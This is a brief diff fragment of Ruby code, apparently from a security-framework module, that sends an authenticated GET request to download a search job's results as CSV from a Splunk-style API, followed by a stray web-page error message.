+ 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
+ 'method' => 'GET',
+ 'cookie' => @auth_cookies,
+ 'encode_param' => 'false'
+ }, 25)
+
+ end
+end
Something went wrong with that request. Please try again.